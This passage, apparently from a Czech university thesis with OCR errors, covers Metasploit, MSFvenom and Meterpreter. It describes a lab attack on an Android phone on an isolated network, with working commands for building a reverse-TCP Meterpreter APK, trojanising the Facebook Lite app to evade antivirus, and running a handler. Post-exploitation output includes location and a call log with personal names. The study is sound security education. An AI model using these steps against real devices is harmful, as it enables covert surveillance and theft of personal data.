Poskytuje zakladni nastroje pro praci S jadrem, naptiklad serializaci modulu na riizné vystupni
formaty. Navic je rozsifena 0 knihovnu Interfaces, kde implementuje podporu pro rizné
rozhrani. (Singh, 2012)

Plugins (zasuvné moduly): JelikoZ se MSF snazi 0 cO nejvétsi moznost rozsifeni, tak zde
jsou zavedeny zasuvné moduly, které umoznuji rozsifovat MFS 0 nové funkce ¢i payloady.

(Singh, 2012)
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2.3 MSFvenom

MSFvenom vznikl vroce 2015 kombinaci MSFpayload a MSFencode do jednoho
Frameworku. MSFpayload slouzi k vytvofeni payloadu, ktery v soucasné dobé neni v MSF
dostupny, zatimco MSFencode slouzi k zaSifrovani c¢asti kodu, rtiznymi Sifrovacimi

technikami. Timto slou¢enim, vznikla fada vyhod, naptiklad:

e Zvyseni rychlosti
e Jeden nastroj misto pivodnich dvou

e Standardizované rozhrani piikazové radky

MSFvenom je program, ktery umoziuje vytvaret vlastni payloady. Tyto payloady, je mozné
dale zasifrovat tak, aby nebyly rozpoznatelné pomoci antivirového programu. Po zadani

piikazu MSFvenom — h se zobrazi zakladni piikazy a jejich popis. (MSFvenom, 2017)

tomas@tomas-VirtualBox: ~

tomas@tomas-VirtualBox:~5% msfvenom -h

MsfVenom - a Metasploit standalone payload generator.

Also a replacement for msfpayload and msfencode.

Usage: /opt/metasploit-framework/bin/../embedded/framework/msfvenom [options] <var=val>

options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
--1list [type] List a module type. Options are: payloads, encoders, nops, all
--nopsled <length=> Prepend a nopsled of [length] size on to the payload
--format <format> Output format (use --help-formats for a list)
--help-formats List available formats
- -encoder <encoder> The encoder to use
--arch <arch=> The architecture to use
--platform <platform> The platform of the payload
--help-platforms List available platforms
--space <length> The maximum size of the resulting payload
-encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
--bad-chars <list> The list of characters to avoid example: '\x@08\xff'
--iterations <count> The number of times to encode the payload
--add-code <path> specify an additional win32 shellcode file to include
--template <path=> Specify a custom executable file to use as a template
--keep Preserve the template behavior and inject the payload as a new thread
--out <path> Save the payload
--var-name e > Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message
tomas@tomas-VirtualBox:~5 I

Obrazek 4 MSFvenom ptikazy (zdroj — Vlastni)

V tabulce ¢.1 jsou popsany zékladni piikazy programu MSFvenom.

Tabulka 1 Popis prepina¢i MSFVenom

--payload urcuje, ktery payload bude vyuzit

--list Vypise seznam moduld

--nopsled piida NOP do payloadu

--encoder urCuje, které Sifrovani bude vyuZito,
napiiklad: shikata_ga_nai
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--arch urCuje typ architektury, na kterou bude

payload pouzit

--bad-chars VypiSe seznam znakd, kterym se ma program

pfi Sifrovani vyhnout

--iterations urcuje, kolikrat se ma provést Sifrovani

--template urci existujici soubor

jako Sablonu pro vytvateni nového souboru

--out ulozi payload

--help vypise napoveédu jako na obrazku 4

2.4 Instalace

V této podkapitole bude ukazano, jak nainstalovat Metasploit Framework na Unixovém
OS Ubuntu ve verzi 16.04. V zajmu ulehéeni instalace je mozné vyuzivat distribuci Kali Linux,
kterd je pfimO navrzend pro penetracni testovani a socidlni inzenyrstvi a vSechny nastroje

pro to vhodné jiz obsahuje, a to i Metasploit Framework.

2.4.1 Ubuntu

Ubuntu je unixovy operaéni systém odvozeny od distribuce Debian. Je mozné jej vyuzit
pro laptopy, stolni pocitace iservery. Spolus OS Debian se fadi mezi nejoblibengjsi
OS nasvéte. Je stile vyvijeny komunitn€é. Novad verze vychdzi piiblizné kazdy pul
rok s podporou na 9 mésictu. Verze s dlouhodobou podporou LTS jsou podporovany az 5 let.
Aktualni verze je 17.04. Posledni verze s LTS je verze 16.04. Jelikoz se na Ubuntu vyskytuje
pouze balik zdkladnich programi, bude potieba vSechny ostatni potifebné programy
doinstalovat. Ubuntu vyuziva balickovaci systém APT. Balickovaci systém slouzi K ziskani
programu ze vzdalenych adresait ulozenych na serveru. Podstatnou vyhodou balickovaciho
systému APT je automatické vyhledavani a instalace zavislosti, které nam podstatné zjednodusi

praci. (Co je Ubuntu, 2017)

2.4.2 Pozadavky na Ubuntu

Zékladni systémové pozadavky na instalaci OS Ubuntu jsou:

e 1 GB RAM paméti
e 5 GB mista na disku

e 1GHz frekvence procesoru (Intel Pentium nebo nov¢;jsi) (Stahnout Ubuntu, 2017)
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Na obrazku 5 je pfedvedeno pracovni prostiedi Ubuntu.

&
F
)
B
)
B
o

OsB

Obrazek 5 Ubuntu (zdroj — Vlastni)

2.4.3 Instalace MSF na OS Ubuntu

Pro instalaci MSF na Ubuntu se ptedpoklada alespon zakladni znalost Unixovych OS. Nejdiive
je dulezit¢ ovérit, zda méme nejnovejsi balicky, aktualizované repositaie avse plné
aktualizované. OracleJDK by mél vSe bez problému zajistit, ale nékdy je vyzadovano mit
nainstalovany Oracle Java. Je pfredpoklddano, ze uzivatel pracuje v super uzivatelském

rezimu neboli su.
Instalaci budeme provadét pomoci webové sluzby GitHub.

a) Pomoci prikazu Curl se stahne pozadovany archiv z internetové adresy a ulozi jej
do scriptu s nazvem msfinstall.
b) Pomoci piikazu chmod 755 budou souboru nastavena ptistupova prava. Nyni uz staci
soubor pouze zkompilovat, a to jednoduse pomoci prikazu ./msfinstal.
Curl

https://raw.githubusercontent.com/rapid7/metasploit-
omnibus/master/config/templates/metasploit-framework-

wrappers/msfupdate.erb >
msfinstall &&\

chmod 755 msfinstall && \
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Jmsfinstall

c) Pokud ptedchazejici operace probéhla v poradku, tak nasledny vypis informaci
v konzoli by m¢l vypadat obdobné jako na obrazku 6. Vypis se bude lisit
podle potiebnych zavislosti vybranych bali¢ka. Nékteré balicky vyzaduji

pro spravnou funkénost podporu dalsich balicku.

0€ tomas@tomas-VirtualBox: ~
tomas@tomas-VirtualBox:~$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/m
sfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
108 5394 100 5394 <) 0 10184 G w=fecfes sofes —-i--i-- 18177
switching to root user to update the package
Updating package cache..OK
Checking for and installing update..
Nacitaji se seznamy balikd.. Hotovo
Vytvari se strom zavislosti
Nacitaji se stavové informace.. Hotovo
Nasledujici baliky byly nainstalovany automaticky a jiZ nejsou potfeba:
linux-headers-4.8.0-36 linux-headers-4.8.0-36-generic linux-image-4.8.08-36-generic linux-image-extra-4.8.0-36-generic snap-confine
Pro jejich odstranéni pouzijte ,sudo apt autoremove®.
Nasledujici NOVE baliky budou nainstalovany:
metasploit-framework
0 aktualizovano, 1 nové instalovano, 0 k odstranéni a 37 neaktualizovano.
Nutno stadhnout © B/152 MB archivad.
Po této operaci bude na disku pouzito dalsich 374 MB.
Vybirad se dosud nevybrany balik metasploit-framework.
(Naéita se databaze .. nyni je nainstalovano 250478 soubori a adresafru.)
Pripravuje se nahrazeni ../metasploit-framework_4.16.12+20171018092928~1rapid7-1_amd64.deb
Rozbaluje se metasploit-framework (4.16.12+20171018092928~1rapid7-1)
Nastavuje se balik metasploit-framework (4.16.12+20171018092928~1rapid7-1) ..
update-alternatives: pouiivam /opt/metasploit-framework/bin/msfbinscan pro poskytnuti Jusr/bin/msfbinscan (msfbinscan) v automatickém rezimu
update-alternatives: pouiivam /opt/metasploit-framework/bin/msfconsole pro poskytnuti Jusr/bin/msfconsole (msfconsole) v automatickém rezimu
pouiivam fopt/metasploit-framework/bin/msfd pro poskytnuti fusr/bin/msfd (msfd) v automatickém rezimu
pouzivam fopt/metasploit-framework/bin/msfdb pro poskytnuti fusr/bin/msfdb (msfdb) v automatickém rezimu
pouzivam Jopt/metasploit-framework/bin/msfelfscan pro poskytnuti jusr/bin/msfelfscan (msfelfscan) v automatickém rezimu
update-alternatives: pouzivam Jjopt/metasploit-framework/bin/msfmachscan pro poskytnuti fusr/bin/msfmachscan (msfmachscan) v automatickém rezimu
update-alternatives: pouiivam /opt/metasploit-framework/bin/msfpescan pro poskytnuti fusr/bin/msfpescan (msfpescan) v automatickém rezimu
update-alternatives: pouiivam /opt/metasploit-framewo bin/msfrop pro poskytnuti fusr/bin/msfrop (msfrop) v automatickém rezimu
update-alternatives: pouiivam /opt/metasploit-framework/bin/msfrpc pro poskytnuti fusr/bin/msfrpc (msfrpc) v automatickém rezimu
update-alternatives: pouiivam fopt/metasploit-framework/bin/msfrpcd pro poskytnuti jfusr/bin/msfrpcd (msfrpcd) v automatickém reiimu
pouzivam fopt/metasploit-framework/bin/msfupdate pro poskytnuti fusr/bin/msfupdate (msfupdate) v automatickém rezimu
s: pouzivam Jopt/metasploit-framework/bin/msfvenom pro poskytnuti fusr/bin/msfvenom (msfvenom) v automatickém rezimu
update-alternatives: pouzivam /jopt/metasploit-framework/bin/metasploit-aggregator pro poskytnuti Jusr/bin/metasploit-aggregator (metasploit-aggreg
ator) v automatickém rezimu
Run msfconsole to get started
W: --force-yes is deprecated, use one of the options starting with --allow instead.
tomas@tomas-VirtualBox:~$

Obriazek 6 Instalace MFS (zdroj — Vlastni)

d) Pokud vse probé&hlo v potadku, staéi MSF pomoci ptikazu msfconsole spustit.
Na uvodni strance jsou zobrazeny zakladni informace 0 MSF (obrazek 7). Je zde
uvedena naptiklad aktualni verze, pocet payloadi a exploitu.

e) Posledni véc, ktera je potieba nastavit je propojeni s Postgre databazi. Nyni uz je

mozZné MSF plné vyuzivat.
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OO0 tomas@tomas-VirtualBox: ~

tomas@tomas-VirtualBox:~S msfconsole

1 dev-
968 auxiliary - 299 post
499 payloads - 40 encoders - 10 nops
Free Metasploit Pro trial: http://r-7.co/trymsp

1
1
1
1

Obrizek 7 Uvodni rozhrani MSF (zdroj — Vlastni)

2.5 Ovladani MSF
V této casti budou popsany zakladni skupiny piikazi k ovladani MSF. Po napsani ptikazu help
do msfconsole budou vypsany zékladni piikazy, které jsou rozdéleny do péti kategorii.

Core Commands
Module Commands
Job Commands

Resource Script Commands

Database Backend Commands

Core Commands: Zde se nachazeji zakladni pfikazy pro praci s MSF, je mozné zde zjistit
verzi, historii piikazi, je mozné zde nacitat, mazat a upravovat pluginy nebo nastavit

jednoduché routovani. (MSFconsole Commands, 2017)

Module Commands: V této ¢asti se nachazi zakladni piikazy pro praci s moduly, je mozné
zde zjistit bliz§i informace o0 pouzivanych modulech, vyhledavat moduly podle

jména nebo popisu a v neposledni fadé moduly upravovat. (MSFconsole Commands, 2017)

Job Commands: Tato ¢ast se zabyva praci s moduly, které¢ bézi na pozadi, je zde mozné

spoustét, zobrazovat a zastavovat tyto moduly. (MSFconsole Commands, 2017)

Resource Script Commands: Tato sekce se zabyva automatizovanim tloh. Nabizi moznost

ukladat provedené piikazy do skriptu a znovu je spoustét. (MSFconsole Commands, 2017)
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Database Backend Commands: Tato ¢ast piikazl se zabyva praci s PostgreSQL databazi. Je
mozné zde ptipojovat a odpojovat databazi, zjiStovat stav a nahravat data do databaze pomoci
skenovani sité nebo rucné. Spoluprace s databazi rozsifuje funkcionalitu MSF. (MSFconsole

Commands, 2017)

2.6 Meterpreter

Meterpreter, zkratka The Meta-Interpreter je specialni payload, ktery je soucasti MSF. Jedna se
0 mnohostranného, rozsititelného, nesnadno odhalitelného pomocnika, jehoz ukolem je
poskytovat komplexni feSeni a pokrocilé funkce. Mezi jeho nejvétsi vyhody patii nesnadna
odhalitelnost pomoci antivirového programu. Zputsob, jakym je tato vyhoda vyuzita, je
velmi jednoduchy.  Meterpreter  pracuje  sSDLL  soubory, které  jsou nahrany
piimo do paméti a zadnym zptisobem nejsou zapisovany na pevny disk, kde by byly vystaveny
moznému odhaleni antivirovym programem. Dalsi vyhodou, je dynamické nacitani skripth
a zasuvnych modulii za béhu programu za ucelem jeho rozSiteni. Tim odpadd nutnost
navazovani nového spojeni nahravani novych rozsifeni. Dilezitou soucasti meterpreteru je
fakt, ze celd komunikace probiha zaSifrovand. Nakonec meterpreter poskytuje také snadny
multitasking tim, ze dava k dispozici moznost vytvofit vice relaci, které mulze uzivatel
bez problému zpracovavat. Meterpreter je mozné si predstavit jako jakykoliv ptikazovy
terminal, kde je mozné pomoci piikazti provadét jednoduché ukoly. Funguje na zakladnim
principu klient — server, jakmile bude navazano spojeni, je mozné odesilat ptikazy
na meterpreter server, ktery odesila odpovédi zpét na utoc€ici zafizeni. (Agarwal, 2013; Allen,
2014)

Exploit + st Stage Paylasd
Fayload Connecls back o MSF
Zncd Slage DLL Injeclion Payload Sant
BASF Sends Meterprater Seryer DLL

Clisrnt and Sereer Communicabe

Obrazek 8 Meterpreter nahrani do paméti zdroj — (Agarwal, 2013)

Na obrazku 8 je ptedvedeno nahravani meterpreteru do paméti. V prvni ¢asti je odeslan exploit
aprvni payload nanapadené zatizeni. PO provedeni exploitace se odeslana Cast ptipoji

35



K cili a pokusi se pfipojit zp€t na vyuzité rozhrani pies piedem nastaveny komunikacni kanal.
Ve druhé fazi dochazi k nacteni DLL zvoleného payloadu. Soucasné stim MSF odesila
své DLL aby mohlo dojit k navazani spojeni. V posledni fazi dochazi k naéteni rozsifeni.

Vsechna rozsifeni jsou nahravana pomoci protokolu TLS. (Agarwal, 2013)

2.7 Utok na mobilni telefon
Utok na mobilni telefon probihal na domaci siti, odpojené od internetu. Rozvrzeni sit8, véetné

IP adres je ukazano na obrazku 9.

10.0.0.138

Obrazek 9 Ukazka zapojeni sité (zdroj — Vlastni)

2.7.1 Informace 0 mobilnim telefonu
B Vyrobce: Samsung electronics
B Verze Android: 7.0.1 Nougat
B Verze jadra: 3.18.14
B Prid¢lend IP adresa: 10.0.0.14

2.7.2 Uvod o titoku
K utoku na mobilni telefon je vyuzit Metasploit Framework a jedno z jeho rozsiteni
MSFvenom, ob¢ tyto aplikace a jejich funkcionality jsou popsany vyse. Prvni ¢ast spociva

ve vytvoreni podvodného programu, ktery umoziuje vytvotit zadni vratka do zatizeni. Dale je
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potieba tento program nainstalovat do mobilniho telefonu, po instalaci a spusténi aplikace,
dojde k nastaveni spojeni. Jakmile dojde k nastaveni relace mezi zatfizenimi, neni problém

ziskavat, nahravat a odposlouchavat data z mobilniho telefonu.

V prvnim  scénafi dojde  k vytvofeni  podvodné aplikace bez zasifrovani, aje
nahrana do telefonu bez jakéhokoliv antivirového programu. Ve  druhém  scénaii bude
vytvorena aplikace téz nezaSifrovana, ale dojde k instalaci antivirového programu na napadené
zafizeni. Ve tietim scénafi dojde Kk infikovani existujici aplikace $kodlivym koédem pomoci

MSFVenom.

2.7.3 Scénar ¢. 1.

Prvni krok je vytvoteni podvodné aplikace pomoci aplikace MSFvenom. Po provedeni by mél

vystup vypadat podobné¢ jako na obrazku 10.

r Y v tomas@tomas-VirtualBox: ~

tomas@tomas-VirtualBox:~$ msfvenom -p android/meterpreter/reverse_tcp LHOST=10.8
.0.13 LPORT=4444 R>/home/tomas/Podvodna_aplikace.apk

No platform was selected, choosing Msf::Module::Platform::Android from the paylo
ad

Mo Arch selected, selecting Arch: dalvik from the paylead

No encoder or badchars specified, outputting raw payload

Payload size: 8798 bytes

tomas@tomas-VirtualBox:~$ l

Obrazek 10 Vytvoreni podvodné aplikace (zdroj — Vlastni)

Pomoci zobrazeného piikazu vytvorime payload, ktery vytvoii meterpreter server na zatizeni.
Pomoci parametru LHOST nastavime IP adresu zafizeni, ze kterého bude meterpreter ovladan.
Dale pomoci LPORT nastavime port, nakterém bude zafizeni naslouchat.
A celou tuto aplikaci ulozime pod nazvem: Podvodna aplikace.apk. Ve vypisu je vidét, Ze
architektura programu pro napadeny systém byla zvolena automaticky, nebylo zvolené zadné

Sifrovani a je zde zobrazena velikost celého vytvoifeného souboru.
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Dalsim bodem utoku je dopravit vytvorenou aplikaci k cilovému zafizeni. VétSinou se
takto vytvotené aplikace sdileji pomoci data sdilejicich servert, kde jsou vydavany za jiné

aplikace, nez doopravdy jsou. Takto nasdilené aplikace ptilakaji mnoho potencionalnich obéti.

Po dopraveni takto vytvofené aplikace do telefonu, je nutné ji nainstalovat. Jelikoz se jedna
o instalaci z neznamého zdroje je nutné v telefonu povolit  tuto moznost.  Aplikace
nebyla zasifrovana, ale protoze telefon nedisponuje Zadnym antivirovym programem,

tak aplikace ztstala neobjevena.

< ZAMYKACI OBR. A ZABEZP.

Neznamé zdroje L
Povolte instalaci aplikaci ze zdrojd jinych .
nez Play Store nebo Galaxy Apps.

Neznamé zdroje

Instalace z neznamych zdroji muize
. byt skodlivé pro vase zafizeni a

‘  osobni data. Klepnutim na tlac¢itko
OK potvrdite souhlas s tim, Ze
nesete plnou odpovédnost za

( Jakékoli poskozeni zafizeni nebo

| ztratu dat zplsobené pouZitim
téchto aplikaci.

Povolit pouze tuto instalaci

ZRUSIT 0K

HLEDATE NECO?
ZALOHA A OBNOVENI
ZABEZPECENI ZARIZENI
UMISTENI

Obrazek 11 Povoleni instalace z neznamych zdroji (zdroj — Vlastni)
Déle dochazi k urceni opravnéni, ke kterym ziska aplikace piistup a co mize vyuzivat. Nase
podvodna aplikace ma k dispozici velké mnozstvi opravnéni a néktera nesouvisi s jejim

vyuzitim. Jak je predvedeno na obrazku 12.
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=..4 70% i 4:58 odp.

- MainActivity
Chcete tuto aplikaci nainstalovat?

Aplikace ziskd pfistup k témto
opravnénim:

porizovani fotografii a videi

&teni kontaktd
Uprava kontaktd

nahrdvani zvuku

(=

9 pristup k pfesné poloze (pomoci GPS
a sité)
pristup k priblizné poloze (pomoci sité)
ﬂ &teni textovych zprav (SMS nebo MMS)
odesilani a zobrazeni zprdv SMS

® mize vas to néco stat
pfijem textovych zprav (SMS)

=

zména nastaveni systému

%, &teni seznamu hovord

ZRUSIT  INSTALOVAT

Obrazek 12 Nastaveni prav (zdroj — Vlastni)

Zkusenéjsi uzivatel by jisté zjistil, ze se nejedna o aplikaci, jakou by vyZadoval. At uz podle
nazvu aplikace nebo podle pozadovanych prav, kterd aplikace vyZzaduje. Pokud vSe
probéhlo v poradku, tak po spusténi aplikace uzivatelem dojde k vytvotreni spojeni mezi obé&ti

a uto¢nikem.

Dalsim ukolem je nastavit naslouchani na ttoCicim zafizeni. K tomuto kroku vyuzijeme
MFS a budeme vyuzivat rozhrani msfconsole. Po provedeni nésledujicich piikazi, by mél

vystup z konzole vypadat jako na obrazku 13.
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tomas@tomas-VirtualBox: ~

+ -- --=[ 499 payloads - 40 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

> use multi/handler
exploit( ) > set payload android/meterpreter/reverse_tcp
ayload => android/meterpreter/reverse_tcp
msf exploit( ) = set LHOST 10.60.8.13
LHOST => 10.0.0.13
msf exploit( ) > set LPORT 4444
LPORT == 4444
msf exploit( ) = show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (android/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST 10.0.0.13 The listen address
LPORT 4444 5 The listen port

Exploit target:

Id Name

® Wildcard Target

exploit( ) > exploit

Exploit running as background job @.

exploit( ) >

Started reverse TCP handler on 10.0.0.13:4444
exploit( el |

Obrazek 13 Vybér a nastaveni typu payloadu (zdroj — Vlastni)

Na obrazku 13 je nejdiive nastaven multi/handler, coz je prostfednik, ktery obstarava spusténé
exploity. Diky handleru mtizeme spolehlivé a jednoduse zpracovavat spusténé exploity. Dal§im
krokem, ktery je nezbytné provést je vybrani odpovidajiciho payloadu, ktery chceme vyuzivat.
Nyni uz jen zbyva nastavit IP adresu utociciho zafizeni a port, na kterém bude zafizeni
naslouchat. Po tomto zakladnim nastaveni je dualezité si nastaveni zkontrolovat, to se muze
provést pomoci piikazu show options. Pokud je vSechno spravné a v poradku, tak mizeme
spustit naslouchani pomoci pitikazu exploit. V této fazi bude aplikace cekat na spusténi
aplikace na mobilnim telefonu, kterou mutize spustit jen a pouze uzivatel. Pokud bude spusténa,

dojde k navazani spojeni. Nasledné bude telefon pln¢ ovladatelny.
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Souhrn vSech spojeni je mozné zobrazit pomoci piikazu sessions.

Connection

meterpreter dalvik/android u® al192 @ localhost 10.0.0.13:4444 -> 10.0.0.10:35552 (10.0
.0.18)

msf exploit( ) > [*] 18.0.0.10 - Meterpreter session 1 closed. Reason: Died

Obrazek 14 Oteviené relace (zdroj — Vlastni)
Pro praci se  spojenimi miizeme vyuzit pfepina¢ sessions—i,id session, pomoci
kterého miZzeme pohodIné mezi spojenimi ptepinat. Pokud ovSem uzivatel odpoji telefon

od sit¢, nebo odinstaluje aplikaci, nebude jiz mozné telefon znovu napadnout.

V tomto okamziku ma tuto¢nik plné pod kontrolou mobilni telefon. V tuto chvili sta¢i pouze
maly okamzik k ziskani vSech potfebnych informaci. Kdyby Gto¢nik vyuzil naptiklad skript,
ktery by hned po pfipojeni zacal stahovat zadané informace, stacilo by mu k jejich zisku pouze
nékolik desitek vtefin v zavislosti na rychlosti pfipojeni. Pokud by uto¢nik nechtél pouze
ziskavat informace, je velmijednoduché nahrat do napadeného telefonu dalsi skodlivé

aplikace. Na obrazku 15 je pomoci ptikazu geolocate — g zjisténa aktualni pozice telefonu.

tomas@tomas-VirtualBox: ~ 40 ¢ A O 2 =
Longitude: 15.7603988

google.com

50,0378652,15.7603988 To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=50.0378652 FE » ) o
sensor=tr

erated map on google-m
ps:

aps.google.com/maps?q=50.0378652,15.7603988
geolocate -g
oc

To get the address: https: s.googleapis.com/maps/api/geocode/json?lating=50.0378652,15.7603
5 988&sensor=true
50°02'16.3°N 15°45'37.4'E
50037865, 15.760399. Generated map on google-maps: b
https://maps.google.con/maps?q=50.0378652,15.7603988
meterpreter >

Obrazek 15 Zjisténi pozice (zdroj — Vlastni)
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Pro uto¢nika neni problém ziskat podrobné&jsi informace o telefonu pomoci jednoduchého

piikazu sysinfo. Pomoci, kterého mizeme ziskat informace 0 jadie OS a o typu meterpreteru.

sysin
localhost

: Android 7.8 - Linux 3.18.14-12274792 (armv8l)
dalvik/android
Obrazek 16 Zobrazeni informaci (zdroj — Vlastni)

V tuto chvili bylo zjisténo pouze nékolik malo informaci o telefonu a o poloze. Pokud by
utoénik chtél  ziskat  citlivéj$i  datanapt.: vypiShovorit sta¢i mu k tomu jediny
ptikaz dump_calllog. Nyni ma Gto¢nik pfistup ke vSem hovortim a telefonnim ¢isltiim, jez byly

ze zatizeni uskute¢nény.

text.txt (~/) - gedit

Oteviit ¥ ol Ulozit
#24
Number : +42077406 .
Name : Petr Kaspar
Date : Fri Oct 27 17:88:33 GMT+82:80 2017
Type : INCOMING
Duration: 50
#25
Number : +4207779¢'."
Name : Jirka skladnik
Date : Fri Oct 27 14:42:28 GMT+02:80 2017
Type : OUTGOING
Duration: 26
#26
Number : +4206046%. -
Name : Tatinek
Date : Fri Oct 27 13:40:85 GMT+82:80 2017
Type : INCOMING
Duration: 16
#27
Number : +42072408
Name : Kamil Bren
Date : Fri Oct 27 13:16:56 GMT+82:80 2017
Type : OUTGOING

Duration: 25

Obriazek 17 Zobrazeni v§ech hovori (zdroj — Vlastni)

V neposledni fad¢ je mozné telefon i aktivné ovladat, je zde mozZnost vyuzivat fotoaparat,
kameru a mikrofon mobilniho telefonu nebo dokonce odesilat SMS zpravy. Takovéto ovladani

uz predstavuje problém, jelikoz na tom uzivatel mize mit velkou penézni ztratu.

42



Obrazek 18 Fotografie vyfotografovana pomoci MFS (zdroj — Vlastni)

2.7.4 Scénar ¢. 2.

Ve scénafi ¢. 2 dojde k vytvofeni stejné podvodné aplikace pomoci MSFvenom jako ve
scénafi ¢. 1. Zménou v tomto scénafi, bude nainstalovany antivirovy program v mobilnim
telefonu. Zvoleny antivirovy program bude velmi popularni Avast antivirus, ktery nabizi
bezplatnou 30denni Premier verzi, ktera poskytuje velké mnozstvi moznych ochran napt.:
Ochrana pied falesnymi webovymi strankami,  pokroc¢ily  firewall, blokovani spamu

a phishingovych e-maild.

Takto zabezpecCeny telefon odhali nezaSifrovanou aplikaci jesté pied tim, nez bude dovoleno

ji nainstalovat a oznaci ji jako nebezpe¢nou.
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Nf =01l 34% @ 6:07 odp.

Nalezeno: 1 hrozba

8145 polozek oskenovano

OTESTOVAT ZNOVU

ﬁ MainActivity
MainActivity obsahuje malware! Méze

poskodit vase zafizeni.

VYRESIT  IGNOROVAT

Obriazek 19 Odhalena hrozba (zdroj — Vlastni)

Nyni by jiz uzivatel védél, Ze se jedna o0 podvodnou aplikaci a pravdépodobné by
ji nenainstaloval.

2.7.5 Scénar ¢. 3.

V poslednim scénafi je provedeno nahrani $kodlivého kodu do jiz  existujici  aplikace.
Takto vytvofena aplikace nevzbuzuje zadné podezieni ajevi se naprosto vérohodné.

V tomto scénafi vyuzijeme aplikaci Facebook Lite. V zafizeni bude nainstalovan antivirovy

program, tak jako byl nainstalovan ve scénafi ¢. 2.
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tomas@tomas-VirtualBox:~$ msfvenom -x /fhome/tomas/facebook lite.apk -p android/meterpreter/reverse_tcp LHOST=192.168.08.157 LPOR
T=4444 -o [home/tomas/facebook_lite_full.apk
Found a database at /home/tomas/.msf4/db, checking to see if it is started
Starting database at /home/tomas/.msf4/db...success
Using APK template: /home/tomas/facebook lite.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
Creating signing key and keystore..
Decompiling original APK..
Decompiling payload APK..
Locating hook point..
Adding payload as package com.facebook.lite.hxjog
Loading /tmp/d20171031-2053-ciian9/original/smali/com/facebook/Llite/LiteAppShell.smali and injecting payload..
Poisoning the manifest with meterpreter permissions..
Adding <uses-permission android:name="android. ission.RECEIVE_SMS" />
Adding <uses-permission android: id. iss .SEND_SMS" />
Adding <uses-permission android: id. ission.WRITE_SETTINGS" />
Adding <uses-permission android: id. ission.SET_WALLPAPER" />
Adding <uses-permission android:name="android. i .WRITE_CALL_LOG" />
Rebuilding /home/tomas/facebook lite.apk with meterpreter injection as /tmp/d28171031-2053-ciian9/output.apk
Signing /tmp/d20171831-2053-ciian9/output.apk
Aligning /tmp/d20171031-2853-ciian9/output.apk
Payload size: 1399224 bytes
Saved as: [home/tomas/facebook lite full.apk
tomas@tomas-VirtualBox:~

Obriazek 20 MSFVenom nahrani §kodlivého kédu do existujiciho souboru (zdroj — Vlastni)

Pomoci pifepinace —X zde =zvolime soubor, vtomto pifipad¢ je vyuzita aplikace
facebook lite.apk, ktery bude =zvolen jako Sablona pro vytvoreni nového souboru
facebook_lite_full.apk, ktery jiz je infikovany skodlivym kodem. Takto vytvofenou aplikaci uz
jen sta¢i nainstalovat na napadené zafizeni. Na napadeném zafizeni je nezbytné povolit
Vnastaveni moznost instalace zneznamych zdroji. Pii distribuci aplikace na zafizeni
ani pii instalaci nedoslo k objeveni programu antivirovym programem a aplikace mohla byt
bez problému spusténa bez jakéhokoliv podezieni ze strany uzivatele. Po spusténi aplikace
dojde ke vytvofeni relace mezi napadenym zafizenim a uto¢nikem. V tento okamzik ma

uto¢nik jiz plnou kontrolu nad zafizenim a je mozné jej ovladat jako ve scénafi €. 1.
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ZAVER
OS Android je zaloZen na jadfe Linuxu a dnes je soucasti zdkladniho vybaveni témét kazdého

mobilniho zafizeni, tabletu, chytrych televizi adal$ich zafizeni. Jednd se o0 jeden

Z nejpouzivanéjsich mobilnich operacnich systémd.

Uvod préce se zabyva rozborem OS Android, vyvinutym spolenosti Google Inc., obecng, jeho
historii, kdy od prvniho vydani v roce 2008 prosel systém mnoha zménami, jeho verzemi,
z ¢ehoz vyplyva, Ze verze 6.0 Marshmallow je nejrozsitenéjsi verzi (0 10,1 % pted verzi 5.1
Lollipop). Déle je v této kapitole rozebrana struktura OS Android, kde jsou vysvétleny
jednotlivé vrstvy tohoto systému. Nasledné je analyzovéano zabezpeceni, které je mozné vyuzit
v zafizeni s OS Android. Podporované zabezpeceni dokaze vyrazné ovlivnit celkovou ochranu

zafizeni a uzivatele. Nicméné plati, Ze nejvétsi hrozbou pro uZzivatele je uZivatel sam.

Myslenku uvedenou vyse potvrzuje i prakticka ¢ast této prace, kde je vytvoren malware pomoci
aplikace MSFvenom, ktery je nésledné distribuovan na napadené zatizeni. Takto vytvoteny
malware a dalsi Skodlivé aplikace se zkusenému uzivateli mohou jevit velice podeziele, jelikoz
vyzaduji vyrazné povoleni uZivatelskych prav, které nesouvisi s jejich obsahem, jak je
predvedeno ve scénafi €. 1. Z diivodu neustalého snizovani véku uzivatelii chytrych telefonti
a jisté nerozvaznosti se takto vytvoreny malware mize celkem snadno §ifit, ziskdvat citliva data
a napachat podstatné Skody. Pfipojeni k zafizeni po instalaci Skodlivé aplikace anasledna
kradez citlivych dat je pfedvedena ve scénaii ¢. 1. Vzhledem k rychlosti internetovych ptipojeni

sta¢i utoénikovi k zisku dat okamzik v fadu n&kolika sekund.

Celkovou bezpecnost zatizeni miize uzivatel zvySit pomoci dodatecného softwaru. Miize se
jednat naptiklad o firewall nebo o antivirovy program, kterych je k dispozici velké mnozstvi.
Tyto aplikace jsou schopné odhalit Skodlivé aplikace v pfipadé uzivatelské nerozvaznosti, jak
je ptfedvedeno ve scénaii €. 2. Takto zabezpecené zatizeni dava uzivateli realnou Sanci odhalit

potencionalni hrozbu.

Scénaf ¢. 3 potvrdil, ze je mozné napadnout i zafizeni, které vyuziva ur€itou uroven
zabezpeceni. Antivirus AVG nebyl schopen rozpoznat aplikaci Facebook Lite, ktera byla
infikovana pomoci programu MSFvenom. Takto vytvofend aplikace nejevila zadné znamky

podezieni, pouze pozadovala povoleni vyuZivani vice druhii opravnéni, nez je obvyklé.

Spolecnost Google poskytuje ulozisté aplikaci Google Play, které nabizi uzivateli otestované

a bezpecné aplikace, jez napomahaji ke zvySeni bezpecnosti. Nekteré aplikace zptistupnéné
